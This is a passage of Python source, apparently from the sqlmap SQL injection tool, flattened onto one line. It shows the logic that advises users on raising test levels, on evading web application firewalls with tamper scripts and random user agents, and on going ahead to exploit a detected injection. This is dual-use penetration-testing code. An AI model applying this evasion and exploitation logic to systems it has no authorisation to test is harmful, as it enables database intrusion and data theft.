conf.crawlDepth and re.search(r"href=[\"']/?\w", kb.originalPage) is not None: advice.append("--crawl=2") if advice: errMsg += ". You are advised to rerun with '%s'" % ' '.join(advice) raise SqlmapNoneDataException(errMsg) else: errMsg = "all tested parameters do not appear to be injectable." if conf.level < 5 or conf.risk < 3: errMsg += " Try to increase values for '--level'/'--risk' options " errMsg += "if you wish to perform more tests." if isinstance(conf.technique, list) and len(conf.technique) < 5: errMsg += " Rerun without providing the option '--technique'." if not conf.textOnly and kb.originalPage: percent = (100.0 * len(getFilteredPageContent(kb.originalPage)) / len(kb.originalPage)) if kb.dynamicMarkings: errMsg += " You can give it a go with the switch '--text-only' " errMsg += "if the target page has a low percentage " errMsg += "of textual content (~%.2f%% of " % percent errMsg += "page content is text)." elif percent < LOW_TEXT_PERCENT and not kb.errorIsNone: errMsg += " Please retry with the switch '--text-only' " errMsg += "(along with --technique=BU) as this case " errMsg += "looks like a perfect candidate " errMsg += "(low textual content along with inability " errMsg += "of comparison engine to detect at least " errMsg += "one dynamic parameter)." if kb.heuristicTest == HEURISTIC_TEST.POSITIVE: errMsg += " As heuristic test turned out positive you are " errMsg += "strongly advised to continue on with the tests." if conf.string: errMsg += " Also, you can try to rerun by providing a " errMsg += "valid value for option '--string' as perhaps the string you " errMsg += "have chosen does not match " errMsg += "exclusively True responses." elif conf.regexp: errMsg += " Also, you can try to rerun by providing a " errMsg += "valid value for option '--regexp' as perhaps the regular " errMsg += "expression that you have chosen " errMsg += "does not match exclusively True responses." if not conf.tamper: errMsg += " If you suspect that there is some kind of protection mechanism " errMsg += "involved (e.g. WAF) maybe you could try to use " errMsg += "option '--tamper' (e.g. '--tamper=space2comment')" if not conf.randomAgent: errMsg += " and/or switch '--random-agent'" raise SqlmapNotVulnerableException(errMsg.rstrip('.')) else: # Flush the flag kb.testMode = False _saveToResultsFile() _saveToHashDB() _showInjections() _selectInjection() if kb.injection.place is not None and kb.injection.parameter is not None: if conf.multipleTargets: message = "do you want to exploit this SQL injection? [Y/n] " condition = readInput(message, default='Y', boolean=True) else: condition = True if condition: action() except KeyboardInterrupt: if conf.multipleTargets: warnMsg = "user aborted in multiple target mode" logger.warn(warnMsg) message = "do you want to skip to the next target in list? [Y/n/q]" choice = readInput(message, default='Y').upper() if choice == 'N': return False elif choice == 'Q': raise SqlmapUserQuitException else: raise except SqlmapSkipTargetException: pass except SqlmapUserQuitException: raise except SqlmapSilentQuitException: raise except SqlmapBaseException as ex: errMsg = getSafeExString(ex) if conf.multipleTargets: _saveToResultsFile() errMsg += ", skipping to the next %s" % ("form" if conf.forms else "URL") logger.error(errMsg.lstrip(", ")) else: logger.critical(errMsg) return False finally: showHttpErrorCodes() if kb.maxConnectionsFlag: warnMsg = "it appears that the target " warnMsg += "has a maximum connections " warnMsg += "constraint" logger.warn(warnMsg) if kb.dataOutputFlag and not conf.multipleTargets: logger.info("fetched data logged to text files under '%s'" % conf.outputPath) if conf.multipleTargets: if conf.resultsFilename: infoMsg = "you can find results of scanning in multiple targets " infoMsg += "mode inside the CSV file '%s'" % conf.resultsFilename logger.info(infoMsg) return True